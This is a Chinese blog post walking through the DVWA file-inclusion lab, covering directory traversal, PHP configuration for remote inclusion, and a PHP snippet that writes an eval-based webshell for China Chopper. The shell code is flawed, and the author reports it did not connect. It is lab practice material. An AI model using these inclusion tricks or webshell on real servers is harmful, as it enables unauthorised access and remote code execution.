文件包含DVWA实操

首先先将DVWA的等级调为LOW

1、包含系统文件

点击以下红框框的部分“file inclusion”

可以看到页面如下

先点击“file1.php” 看一下,发现URL中变成了file1.php

点击后面的file2.php也是同样的效果。所以我们尝试包含其他的文件,看看可以不可以成功。

我们将URL中改为一个文件,看到图中已有文件内容的显示。

验证一下,内容是否显示正确。找到输入的路径中的文件,发现文件内容与页面上的输出一致,则文件已包含。

2、包含上传文件

 首先先说一下../的意思,../的意思就是返回上一级。

所以以下图片中有三个../就返回到了localhost中去找phpinfo.php的文件。

我这里用的是phpstudy所以他的根目录就是WWW文件夹,在这个文件夹中可以找到phpinfo.php这个文件。(如果在WWW文件夹下没有phpinfo.php文件就自己写一个)

phpinfo.php中内容如下:

包含文件的内容只要符合PHP语法都能被当作php代码进行解析,无关后缀名是什么。 

3、包含远程文件

要先在php.ini中设置allow_url_fopen=On(默认)、allow_url_include=On(php5.2之后的版本都默认为off)。

作者的DVWA中显示的是allow_url_include=off状态

我们在phpstudy中找到php.ini文件中进行修改。

如何能找到php.ini文件在作者的这篇博客(DVWA和sql注入天书中不报错问题的解决)中可以找到!

之后要重启一下Apache和mysql。上面那行红框就没有啦!

因为没有两台机器也没有开虚拟机,所以网址中就用IP地址展示下。刚刚WWW文件下有phpinfo.php,所以还用这个展示。

发现可以执行。

4、包含远程shell

这回还是用本地IP展示蛤,为了区分,就用的IP地址。

先在WWW文件夹中创建一个TXT文档,随便啥名字都可以,只要与其中所写的代码对应就行。这里我用的是shell.txt

代码为:

<?php
$payload="<?php eval(\$POST['a']);?>";
$myfile = fopen('demo.php','w') or die ("can't open the file!");
fwrite($myfile,$payload);
fclose($myfile);
?>

输入到URL时,页面不会有任何报错的现象

不知道出现了什么问题····www·····也显示了demo.php状态是200,可是用菜刀连不上去。有路过的大佬可以为小弟指点迷津!

如果连上菜刀的话,那么这个就成功啦!就可以看到你连的那台电脑的所有文件分布。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值